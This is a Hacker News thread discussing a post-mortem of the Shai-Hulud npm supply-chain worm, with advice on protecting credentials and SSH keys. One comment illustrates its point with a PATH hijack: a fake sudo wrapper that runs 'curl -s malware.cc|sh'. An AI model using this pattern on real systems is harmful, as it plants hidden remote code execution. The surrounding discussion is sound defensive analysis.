| ▲ | Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem(trigger.dev) |
| 167 points by nkko 13 hours ago | 103 comments |
| |
|
| ▲ | snickerbockers 6 hours ago | parent | next [-] |
| >Running npm install is not negligence. Installing dependencies is not a security failure. The security failure is in an ecosystem that allows packages to run arbitrary code silently. No, your security failure is that you use a package manager that allows third-parties push arbitrary code into your product with no oversight. You only have "secutity" to the extent that you can trust the people who control those packages to act both competently and in good faith ad infinitum. Also the OP seemingly implies credentials are stored on-filesystem in plaintext but I might be extrapolating too much there. |
| |
| ▲ | deepsun 6 hours ago | parent | next [-] | | Same thing with IDE plugins. At least some are full-featured by the manufacturer, but I couldn't get on with VS Code as for every small feature I had to install some random plugin (even if popular, but still developed by who-knows-who). | | |
| ▲ | willvarfar 2 hours ago | parent [-] | | The amount of browser extension authors who have talked openly about being approached to sell their extension or insert malicious code is many, and presumably many others have taken the money and not told us about it. It seems likely there are IDE extensions doing or going to do the same thing... |
| |
| ▲ | majormajor 2 hours ago | parent | prev | next [-] | | > Running npm install is not negligence. Installing dependencies is not a security failure. The security failure is in an ecosystem that allows packages to run arbitrary code silently. This is wildly circular logic! "One person using these tools isn't bad security practice, the problem is that EVERYONE ELSE ["the ecosystem"] uses these tools and doesn't have higher standards!" It should be no shock to anyone at this point that huge chunks of common developer tools have very poor security profiles. We've seen stories like this many times. If you care, you need to actually care! | | |
| ▲ | perching_aix 14 minutes ago | parent [-] | | So do you actually agree or disagree that there's something wrong with npm? It reads as if you were playing both sides, just to land on blaming the individual each time. Bit convenient. Even if this was actually some weirdly written plea to shared responsibility, surely it makes sense that in a hierarchy, you'd first try to resolve things upstream closer to the root, rather than downstream closer to the leaves, doesn't it? |
| |
| ▲ | LtWorf 5 hours ago | parent | prev | next [-] | | > Also the OP seemingly implies credentials are stored on-filesystem in plaintext but I might be extrapolating too much there. Doesn't really matter, if the agent is unlocked they can be accessed. | | |
| ▲ | johncolanduoni 3 hours ago | parent [-] | | This is not strictly true - most OS keychain stores have methods of authenticating the requesting application before remitting keys (signatures, non-user-writable paths, etc.), even if its running as the correct user. That said, it requires careful design on the part of the application (and its install process) to not allow a non-elevated application to overwrite some part of the trusted application and get the keys anyway. macOS has the best system here in principle with its bundle signing, but most developer tools are not in bundles so its of limited utility in this circumstance. | | |
| ▲ | michaelt 34 minutes ago | parent [-] | | > This is not strictly true - most OS keychain stores have methods of authenticating the requesting application before remitting keys (signatures, non-user-writable paths, etc.), even if its running as the correct user. Isn't that a smartphone-and-app-store-only thing? As I understand it, no mainstream desktop OS provides the capabilities to, for example, protect a user's browser cookies from a malicious tool launched by that user. That's why e.g. PC games ship with anti-cheat mechanisms - because PCs don't have a comprehensive attested-signed-code-only mechanism to prevent nefarious modifications by the device owner. | | |
| ▲ | acdha 26 minutes ago | parent [-] | | > As I understand it, no mainstream desktop OS provides the capabilities to, for example, protect a user's browser cookies from a malicious tool launched by that user. macOS sandboxing has been used for this kind of thing for years. Open a terminal window on a new Mac and trying to open the user’s photo library, Desktop, iCloud documents, etc. will trigger a permissions prompt. |
|
|
| |
| ▲ | elif 5 hours ago | parent | prev [-] | | It wasn't in their product. It was just on a devs machine | | |
| ▲ | hnlmorg 5 hours ago | parent [-] | | I think the OP is aware of that and I agree with them that it’s bad practice despite how common it is. For example with AWS, you can use the AWS CLI to sign you in and that goes through the HTTPS auth flow to provide you with temporary access keys. Which means: 1. You don’t have any access keys in plain text 2. Even if your env vars are also stolen, those AWS keys expire within a few hours anyway. If the cloud service you’re using doesn’t support OIDC or any other ephemeral access keys, then you should store them encrypted. There’s numerous ways you can do this, from password managers to just using PGP/GPG directly. Just make sure you aren’t pasting them into your shell otherwise you’ll then have those keys in plain text in your .history file. I will agree that It does take effort to get your cloud credentials set up in a convenient way (easy to access, but without those access keys in plain text). But if you’re doing cloud stuff professionally, like the devs in the article, then you really should learn how to use these tools. | | |
| ▲ | robomc 3 hours ago | parent | next [-] | | > If the cloud service you’re using doesn’t support OIDC or any other ephemeral access keys, then you should store them encrypted. There’s numerous ways you can do this, from password managers to just using PGP/GPG directly. Just make sure you aren’t pasting them into your shell otherwise you’ll then have those keys in plain text in your .history file. This doesn't really help though, for a supply chain attack, because you're still going to need to decrypt those keys for your code to read at some point, and the attacker has visibility on that, right? Like the shell isn't the only thing the attacker has access to, they also have access to variables set in your code. | | |
| ▲ | majormajor 2 hours ago | parent | next [-] | | It's certainly a smaller surface that could help. For instance, a compromised dev dependency that isn't used in the production build would not be able to get to secrets for prod environments at that point. If your local tooling for interacting with prod stuff (for debugging, etc) is set up in a more secure way that doesn't mean long-lived high-value secrets staying on the filesystem, then other compromised things have less access to them. Add good, phishing-resistant 2FA on top, and even with a keylogger to grab your web login creds for that AWS browser-based auth flow, an attacker couldn't re-use it remotely. (And that sort of ephemeral-login-for-aws-tooling-from-local-env is a standard part of compliance processes that I've gone through.) | |
| ▲ | hnlmorg 2 hours ago | parent | prev [-] | | I agree it doesn’t keep you completely safe. However scanning the file system for plain text secrets is significantly easier than the alternatives. For example, for vars to be read, you’d need the compromised code to be part of your the same project. But if you scan the file system, you can pick up secrets for any project written in any language, even those which differ from the code base that pulled the compromised module. This example applies directly to the article; it wasn’t their core code base that ran the compromised code but instead an experimental repository. Furthermore, we can see from these supply chain attacks that they do scan the file system. So we do know that encrypting secrets adds a layer of protection against the attacks happening in the wild. In an ideal world, we’d use OIDC everywhere and not need hardcoded access keys. But in instances where we can’t, encrypting them is better than not. |
| |
| ▲ | cyberax an hour ago | parent | prev [-] | | > 1. You don’t have any access keys in plain text That's not correct. The (ephemeral) keys are still available. Just do `aws configure export-credentials --profile <YOUR_OIDC_PROFILE>` Sure, they'll likely expire in 1-24 hours, but that can be more than enough for the attacker. You also can try to limit the impact of the credentials by adding IP restrictions to the assumed role, but then the attacker can just proxy their requests through your machine. |
|
|
|
|
| ▲ | marifjeren an hour ago | parent | prev | next [-] |
| > """
I'm strongly in favor of blocking post-install scripts by default. :+1:
This is a change that will have a painful adjustment period for our users, but I believe in ~1 year everyone will look back and be thankful we made it. It's nuts that a [pnpm|yarn|npm] install can run arbitrary code in the first place.
""" - a pnpm maintainer 1 year ago https://github.com/pnpm/pnpm/pull/8897 |
|
| ▲ | KomoD 8 hours ago | parent | prev | next [-] |
| > stored in our database which was not compromised Personally I don't really agree with "was not compromised" You say yourself that the guy had access to your secrets and AWS, I'd definitely consider that compromised even if the guy (to your knowledge) didn't read anything from the database. Assume breach if access was possible. |
| |
| ▲ | nsonha 8 hours ago | parent [-] | | There are logs for accessing aws resources and if you don't see the access before you revoke it then the data is safe | | |
| ▲ | MrDarcy 7 hours ago | parent [-] | | Unless the attacker used any one of hundreds of other avenues to access the AWS resource. Are you sure they didn’t get a service account token from some other service then use that to access customer data? I’ve never seen anyone claim in writing all permutations are exhaustively checked in the audit logs. | | |
| ▲ | otterley 7 hours ago | parent | next [-] | | It depends on what kind of access we're talking about. If we're talking about AWS resource mutations, one can trust CloudTrail to accurately log those actions. CloudTrail can also log data plane events, though you have to turn it on, and it costs extra. Similarly, RDS access logging is pretty trustworthy, though functionality varies by engine. | |
| ▲ | johncolanduoni 3 hours ago | parent | prev [-] | | Ideally you should have a clear audit log of all developer actions that access production resources, and clear records of custody over any shared production credentials (e.g. you should be able to show the database password used by service A is not available outside of it, and that no malicious code was deployed to service A). A lot of places don't do this, of course, but often you can come up with a pretty good circumstantial case that it was unlikely that exfiltration occurred over the time range in question. |
|
|
|
|
| ▲ | progbits 3 hours ago | parent | prev | next [-] |
| Very offtopic but this caught my eye: > Total repos cloned: 669 How big is this company? All the numbers I can find online suggest well below 100 people, and yet they have over 600 repos? Is that normal? |
| |
| ▲ | rsyring 2 hours ago | parent | next [-] | | My org is currently at 7 people and we have 365 repositories associated with our github org. We've been around for a number of years and I'd guess that impacts the number of repos more than the number of team members. | |
| ▲ | LtWorf 2 hours ago | parent | prev [-] | | If they have an architect that loves microservices and thinks every microservice needs its own repo that's what happens (insanity). |
|
|
| ▲ | Rafert 6 hours ago | parent | prev | next [-] |
| > This is one of the frustrating realities of these attacks: once the malware runs, identifying the source becomes extremely difficult. The package doesn't announce itself. The pnpm install completes successfully. Everything looks normal. Sounds like there’s no EDR running on the dev machines? You should have more to investigate if Sentinel One/CrowdStrike/etc were running. |
|
| ▲ | sync 9 hours ago | parent | prev | next [-] |
| That’s weird, pnpm no longer automatically runs lifecycle scripts like preinstall [1], so unless they were running a very old version of pnpm, shouldn’t they have been protected from Shai-Hulud? 1: https://github.com/pnpm/pnpm/pull/8897 |
| |
| ▲ | ItsHarper 8 hours ago | parent | next [-] | | At the end of the article, they talk about how they've since updated to the latest major version of pnpm, which is the one with that change | |
| ▲ | e40 9 hours ago | parent | prev | next [-] | | Yeah, I thought that was the main reason to use pnpm. Very confused. | |
| ▲ | pverheggen 8 hours ago | parent | prev | next [-] | | Maybe the project itself had a postinstall script? It doesn't run lifecycle scripts of dependencies, but it still runs project-level ones. | |
| ▲ | agilob 4 hours ago | parent | prev [-] | | Let me understand it fully. That means they updated dependencies using old, out of date package manager. If pnpm was up to date, this would no have happened? Sounds totally like their fault then |
|
|
| ▲ | zozos 9 hours ago | parent | prev | next [-] |
| I have been thinking about this. How do I make my git setup on my laptop secure? Currently, I have my ssh key on the laptop, so if I want to push, I just use git push. And I have admin credentials for the org. How do I make it more secure? |
| |
| ▲ | 0xbadcafebee 7 hours ago | parent | next [-] | | 1) Get 1Password, 2) use 1Password to hold all your SSH keys and authorize SSH access [1], 3) use 1Password to sign your Git commits and set up your remote VCS to validate them [2], 4) use GitHub OAuth [3] or the GitHub CLI's Login with HTTPS [4] to do repository push/pull. If you don't like 1Password, use BitWarden. With this setup there are two different SSH keys, one for access to GitHub, one is a commit signing key, but you don't use either to push/pull to GitHub, you use OAuth (over HTTPS). This combination provides the most security (without hardware tokens) and 1Password and the OAuth apps make it seamless. Do not use a user with admin credentials for day to day tasks, make that a separate user in 1Password. This way if your regular account gets compromised the attacker will not have admin credentials. [1] https://developer.1password.com/docs/ssh/agent/ [2] https://developer.1password.com/docs/ssh/git-commit-signing/ [3] https://github.com/hickford/git-credential-oauth [4] https://cli.github.com/manual/gh_auth_login | | |
| ▲ | zozos 6 hours ago | parent [-] | | I already use 1password and have it already installed. Will try this out. Thanks! |
| |
| ▲ | anthonyryan1 7 hours ago | parent | prev | next [-] | | One approach I started using a could of years ago was storing SSH private keys in the TPM, and using it via PKCS11 in SSH agent. One benefit of Microsoft requiring them for Windows 11 support is that nearly every recent computer has a TPM, either hardware or emulated by the CPU firmware. It guarantees that the private key can never be exfiltrated or copied. But it doesn't stop malicious software on your machine from doing bad things from your machine. So I'm not certain how much protection it really offers on this scenario. Linux example:
https://wiki.gentoo.org/wiki/Trusted_Platform_Module/SSH macOS example (I haven't tested personally):
https://gist.github.com/arianvp/5f59f1783e3eaf1a2d4cd8e952bb... | | |
| ▲ | homebrewer 5 hours ago | parent [-] | | Or use a FIDO token to protect your SSH key, which becomes useless without the hardware token. https://wiki.archlinux.org/title/SSH_keys#FIDO/U2F That's what I do. For those of us too lazy to read the article, tl;dr: ssh-keygen -t ed25519-sk
or, if your FIDO token doesn't support edwards curves: ssh-keygen -t ecdsa-sk
tap the token when ssh asks for it, done.Use the ssh key as usual. OpenSSH will ask you to tap the token every time you use it: silent git pushes without you confirming it by tapping the token become impossible. Extracting the key from your machine does nothing — it's useless without the hardware token. | | |
| ▲ | NylonMeltdown 7 minutes ago | parent [-] | | Except that an attacker can modify the ssh config to enable session multiplexing with a long timeout and then piggy-back off that connection, right? |
|
| |
| ▲ | mshroyer 2 hours ago | parent | prev | next [-] | | Not a perfect defense, but sufficient to make your key much harder to exploit: Use a Yubikey (or similar) resident SSH key, with the Yubikey configured to require a touch for each authentication request. | |
| ▲ | mr_mitm 7 hours ago | parent | prev | next [-] | | There is no defense against a compromised laptop. You should prevent this at all cost. You can make it a bit more challenging for the attacker by using secure enclaves (like TPM or Yubikey), enforce signed commits, etc. but if someone compromised your machine, they can do whatever you can. Enforcing signing off on commits by multiple people is probably your only bet. But if you have admin creds, an attacker can turn that off, too. So depending on your paranoia level and risk appetite, you need a dedicated machine for admin actions. | | |
| ▲ | otterley 4 hours ago | parent [-] | | It's more nuanced than that. Modern OSes and applications can, and often do, require re-authentication before proceeding with sensitive actions. I can't just run `sudo` without re-authenticating myself; and my ssh agent will reauthenticate me as well. See, e.g., https://developer.1password.com/docs/ssh/agent/security | | |
| ▲ | mr_mitm 4 hours ago | parent [-] | | The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands. It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here. Really, it's pointless. Unless you are signing specific actions from an independent piece of hardware [1], the malware can do what you can do. We can talk about the details all day long, and you can make it a bit harder for autonomously acting malware, but at the end of the day it's just a finger exercise to do what they want to do after they compromised your machine. [1] https://www.reiner-sct.com/en/tan-generators/tan-generator-f... (Note that a display is required so you can see what specific action you are actually signing, in this case it shows amount and recipient bank account number.) | | |
| ▲ | otterley 4 hours ago | parent [-] | | Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent? I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house. | | |
| ▲ | mr_mitm 4 hours ago | parent [-] | | I can type up a test case on my phone: The malware puts this in your bashrc or equivalent: PATH=/tmp/malware/bin:$PATH
In /tmp/malware/bin/sudo: #!/bin/bash
/sbin/sudo bash -c "curl -s malware.cc|sh && $@"
You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk. If your machine is compromised, it's game over. | | |
| ▲ | otterley 4 hours ago | parent [-] | | Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box. | | |
| ▲ | mr_mitm 3 hours ago | parent | next [-] | | It could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware. | |
| ▲ | dividuum 2 hours ago | parent | prev [-] | | I remember you could trivially circumvent that with „/lib/ld-linux.so <executable>“. Does that no longer work? |
|
|
|
|
|
| |
| ▲ | noman-land 9 hours ago | parent | prev | next [-] | | You can add a gpg key and subkeys to a yubikey and use gpg-agent instead of ssh-agent for ssh auth. When you commit or push, it asks you for a pin for the yubikey to unlock it. | | |
| ▲ | larusso 8 hours ago | parent | next [-] | | 1 store my ssh key in 1Password and use the 1Password ssh agent. This agents asks for access to the key(s) with Touch ID. Either for each access or for each session etc. one can also whitelist programs but I think this all reduces the security. | |
| ▲ | larusso 8 hours ago | parent | prev | next [-] | | There is the FIDO feature which means you don’t need to hackle with gpg at all. You can even use an ssh key as signing key to add another layer of security on the GitHub side by only allowing signed commits. | |
| ▲ | esseph 9 hours ago | parent | prev [-] | | You can put the ssh privkey on the yubikey itself and protect it with a pin. You can also just generate new ssh keys and protect them with a pin. |
| |
| ▲ | benoau 9 hours ago | parent | prev | next [-] | | You can set up your repo to disable pushing directly to branches like main and require MFA to use the org admin account, so something malicious would need to push to a benign branch and separately be merged into one that deploys come from. | | |
| ▲ | sallveburrpi 9 hours ago | parent | next [-] | | Pushing directly to main seems crazy - for anything that is remotely important I would use a pull request/merge request pattern | | |
| ▲ | otterley 4 hours ago | parent | next [-] | | There's nothing wrong with pushing to main, as long as you don't blindly treat the head of the main branch as production-ready. It's a branch like any other; Git doesn't care what its name is. | |
| ▲ | esseph 9 hours ago | parent | prev [-] | | Depends on the use case of the repo. |
| |
| ▲ | t0mas88 8 hours ago | parent | prev [-] | | But the attacker could just create a branch, merge request and then merge that? | | |
| ▲ | benoau 6 hours ago | parent | next [-] | | They can't with git by itself, but if you're also signed in to GitHub or BitBucket's CLI with an account able to approve merges they could use those tools. | |
| ▲ | x0x0 5 hours ago | parent | prev [-] | | We require review on PRs before they can be merged. |
|
| |
| ▲ | madeofpalk 7 hours ago | parent | prev | next [-] | | I’ve started to get more and more paranoid about this. It’s tough when you’re running untrusted code, but I think I’ve improved this by: not storing SSH keys on the filesystem, and instead using an agent (like 1Password) to mediate access Stop storing dev secrets/credentials on the filesystem, injecting them into processes with env vars or other mechanisms. Your password manager could have a way to do this. Develop in a VM separate from your regular computer usage. On windows this is essential anyway through using WSL, but similar things exist for other OSs | |
| ▲ | otterley 7 hours ago | parent | prev | next [-] | | Your SSH private key must be encrypted using a passphrase. Never store your private key in the clear! | | |
| ▲ | nottorp 7 hours ago | parent [-] | | And what do you do with the passphrase, store it encrypted with a passphrase? | | |
| ▲ | otterley 7 hours ago | parent | next [-] | | This is what agents are for. You load your private key into an agent so you don't have to enter your passphrase every time you use it. Agents are supposed to be hardened so that your private key can't be easily exfiltrated from them. You can then configure `ssh` to pass requests through the agent. There are lots of agents out there, from the basic `ssh-agent`, to `ssh-agent` integrated with the MacOS keychain (which automatically unlocks when you log in), to 1Password (which is quite nice!). | | |
| ▲ | mr_mitm 6 hours ago | parent [-] | | This is a good defense for malware that only has read access to the filesystem or a stolen hard drive scenario without disk encryption, but does nothing against the compromised dev machine scenario. | | |
| ▲ | tharkun__ 5 hours ago | parent | next [-] | | This seems to be the standard thing people miss. All the things that make security more convenient also make it weaker. They boast about how "doing thing X" makes them super secure, pat on the back and done. Completely ignoring other avenues they left open. A case like this brings this out a lot. Compromised dev machine means that anything that doesn't require a separate piece of hardware that asks for your interaction is not going to help. And the more interactions you require for tightening security again the more tedious it becomes and you're likely going to just instinctively press the fob whenever it asks. Sure, it raises the bar a bit because malware has to take it into account and if there are enough softer targets they may not have bothered. This time. Classic: you only have to outrun the other guy. Not the lion. | | |
| ▲ | otterley 5 hours ago | parent [-] | | See my comment above; not every SSH agent is alike. | | |
| ▲ | tharkun__ 43 minutes ago | parent [-] | | Which one? Like, I see the comment about the Keychain integration and all that. But in the end I fail to see (without further explanation but I'm eager to learn if there's something I am unaware of) where this isn't different from what I am saying. Like yes, my ssh key has a passphrase of course. Which is different from my system one actually. As soon as I log into the system I add the key, which means entering the passphrase once, so I don't have to enter it all the time. That would get old real fast. But now ssh can just use my key to do stuff and the agent doesn't know if it's me or I got compromised by npm installing something. And if you add a hardware token you "just have to tap" each time that's a step back into more security but does add tedium. Depending on how often my workflow uses ssh (or something that uses the key) in the background this will become something most people just blindly "tap" on. And then we are back towards less security but with more setup steps, complications and tedium. I saw the "or allow for a session", which is a step towards security again, because I may be able to allow a script that does several things with ssh with a single tap, which is great of course. Hopefully that cuts the taps down so much that I don't just blindly tap on every request for it. Like the 1password thing you mentioned. If I do lots of things that make it "ask again" often enough I get pushed into "yeah yeah, I know the drill, just tap" security hole. |
|
| |
| ▲ | otterley 5 hours ago | parent | prev [-] | | Keep in mind that not every agent is so naive as to allow a local client to connect to it without reauthenticating somehow. 1Password, for example, will, for each new application, pop up a fingerprint request on my Mac before handling the connection request and allow additional requests for a configurable period of time -- and, by default, it will lock the agent when you lock your machine. It will also request authentication before allowing any new process to make the first connection. See e.g. https://developer.1password.com/docs/ssh/agent/security |
|
| |
| ▲ | 0xbadcafebee 7 hours ago | parent | prev | next [-] | | You memorize it, or keep it in 1Password. 1Password can manage your SSH keys, and 1Password can/does require a password, so it's still protected with something you know + something you have. | |
| ▲ | fwip 7 hours ago | parent | prev [-] | | One option is to remember it. | | |
| ▲ | nottorp 6 hours ago | parent [-] | | I don’t think that’s considered secure enough, see the other answers and the push for passkeys. I mean, if passphrases were good for anything you’d directly use them for the ssh connection? :) | | |
| ▲ | otterley 4 hours ago | parent [-] | | Passphrases, when strong enough, are fine when they are not traversing a medium that can be observed by a third party. They're not recommended for authenticating a secure connection over a network, but they’re fine for unlocking a much longer secret that cannot be cracked via guessing, rainbow tables, or other well known means. Hell, most people unlock their phones with a 4 digit passcode, and their computers with a passphrase. |
|
|
|
| |
| ▲ | benfrancom 4 hours ago | parent | prev | next [-] | | If github, take a look at gh cli or git credential manager: https://docs.github.com/en/get-started/git-basics/caching-yo... | | |
| ▲ | progbits 3 hours ago | parent [-] | | I wouldn't say that's better. Now your .config directory contains a github token that can do more than just repo pull/push, and it is trivially exfiltrated. Though similar thing could be said for browser cookies. |
| |
| ▲ | CGamesPlay 9 hours ago | parent | prev | next [-] | | Add a password or hardware 2-factor to your ssh key. And get a password manager with the same for those admin credentials. | |
| ▲ | snickerbockers 7 hours ago | parent | prev [-] | | password-protect your key (preferably with a good password that is not the same password you use to log in to your account). If you use a password it's encrypted; otherwise its stored on plaintext and anybody who manages to get a hold of your laptop can steal the private key. |
|
|
| ▲ | moh_quz 13 hours ago | parent | prev | next [-] |
| Really appreciate the transparency here. Post-mortems like this are vital for the industry. I'm curious was the exfiltration traffic distinguishable from normal developer traffic? We've been looking into stricter egress filtering for our dev environments, but it's always a battle between security and breaking npm install |
| |
| ▲ | robinhoodexe 9 hours ago | parent [-] | | Wouldn’t the IP allowlist feature on the GitHub organisation work wonders for this kind of attack? |
|
|
| ▲ | bspammer 8 hours ago | parent | prev | next [-] |
| Given that all the stolen credentials were made public, I was hoping that someone would build a haveibeenpwned style site. We know we were compromised on at least a few tokens, but it would be nice to be able to search using a compromised token to find out what else leaked. We’ve rotated everything we could think of but not knowing if we’ve missed something sucks. |
| |
|
| ▲ | Etheryte 9 hours ago | parent | prev | next [-] |
| The approach the attacker took makes little sense to me, perhaps someone else has an explanation for it? At first they monitored what's going on and then silently exfiltrated credentials and private repos. Makes sense so far. But then why make so much noise with trying to force push repositories? It's Git, surely there's a clone of nearly everything on most dev machines etc. |
| |
|
| ▲ | solrith 7 hours ago | parent | prev | next [-] |
| The Torvalds commits were a common post infection signature, common in the random repos that published secrets (Microsoft documented https://www.microsoft.com/en-us/security/blog/2025/12/09/sha...) It was a really noisy worm though, and it looked like a few actors also jumped on the exposed credentials making private repos public and modifying readmes promoting a startup/discord. |
|
| ▲ | h1fra 5 hours ago | parent | prev | next [-] |
| We don't have a clear explanation of the destructive behavior, right? It looks like it had no real purpose, and there were much more effective ways of destroying their repos. Very script kiddie-like, which does not really fit the main complexity of the virus. Very surprising. |
| |
| ▲ | n2d4 5 hours ago | parent [-] | | It hides the malware's trail, and disguises which keys were leaked, making rotation harder |
|
|
| ▲ | Yasuraka 2 hours ago | parent | prev | next [-] |
| > Running npm install is not negligence. I beg to differ and look forward to running my own fiefdom where interpreter/JIT languages are banned in all forms. |
| |
| ▲ | sethaurus an hour ago | parent | next [-] | | Do you really mean this literally? Even the Linux kernel contains tens of thousands of lines of Python, and more lines of shell. Is that undesirable? | |
| ▲ | staticassertion 2 hours ago | parent | prev [-] | | It has nothing to do with interpreters or JIT, it has nothing to do with npm at all. All package managers have the insane security model of "arbitrary code execution with no constraints". | | |
| ▲ | seniorsassycat an hour ago | parent [-] | | I tend to agree but think npms post install hook is a degree worse. Triggering during install, silently because npm didn't like someone using the feature to ask for donations, is worse than requiring you to load and run the package code. |
|
|
|
| ▲ | skrebbel 8 hours ago | parent | prev | next [-] |
| Points for an excellent post-mortem. |
|
| ▲ | getnormality 9 hours ago | parent | prev | next [-] |
| I am loving the ancient Lovecraftian horror vibe of these exploit names. Good for raising awareness, I guess! |
| |
| ▲ | dnpls 9 hours ago | parent | next [-] | | AFAIK Shai-Hulud is the sandworm in Frank Herbert's Dune (but also an American metalcore band) | |
| ▲ | snickerbockers 7 hours ago | parent | prev [-] | | Shai Hulud is the god that lives inside the sandworms in Dune. | | |
|
|
| ▲ | debarshri 8 hours ago | parent | prev | next [-] |
| > This incident involved one of our engineers installing a compromised package on their development machine, which led to credential theft and unauthorized access to our GitHub organization. The org only has 4-5 engineers. So you can imagine the impact a large org will have. |
|
| ▲ | rvz 8 hours ago | parent | prev [-] |
| NPM post-install scripts considered harmful. There has to be a tool that allows you (or an AI) to easily review post-install scripts before you install the package. |
| |
| ▲ | madeofpalk 7 hours ago | parent [-] | | As mentioned in the article, good NPM package managers just do this now. pnpm does it by default, yarn can be configured. Not sure about npm itself. | | |
| ▲ | chuckadams 7 hours ago | parent | next [-] | | Got any pointers on how to configure this for yarn? I'm not turning anything up in the yarn documentation or in my random google searches. npm still seems to be debating whether they even want to do it. One of many reasons I ditched npm for yarn years ago (though the initial impetus was npm's confused and constantly changing behaviors around peer dependencies) | | |
| ▲ | baobun 4 hours ago | parent | next [-] | | Yarn is unfortunately a dead-end security-wise under current maintainership. If you are still on yarn v1 I suggest being consistent with '--ignore-scripts --frozen-lockfile' and run any necessary lifecycle scripts for dependencies yourself. There is @lavamoat/allow-scripts to manage this if your project warrants it. If you are on newer yarn versions I strongly encourage to migrate off to either pnpm or npm. | | |
| ▲ | jrochkind1 2 hours ago | parent [-] | | newer yarn versions are _less_ secure than the ancient/abandoned yarn 1? :( Any links for further reading on security problems "under current maintainership"? |
| |
| ▲ | madeofpalk 4 hours ago | parent | prev [-] | | enableScripts: false in .yarnrc.yml https://yarnpkg.com/configuration/yarnrc#enableScripts And then opt certain packages back in with dependenciesMeta in package.json https://yarnpkg.com/configuration/manifest#dependenciesMeta.... |
| |
| ▲ | progbits 3 hours ago | parent | prev [-] | | Obviously blocking install scripts is a good thing, but this is just a false sense of security. If you install a package you will likely execute some code from it too, so the malware can just run then. And that is what the next attack will do as everyone starts using pnpm (or if npm blocks it too). | | |
| ▲ | staticassertion an hour ago | parent [-] | | It's not a false sense of security imo. Code often runs in its own environment, for example a container. We're "used to" sandboxing/ isolating runtime code. It's the package installation process that gets less attention. |
|
|
|
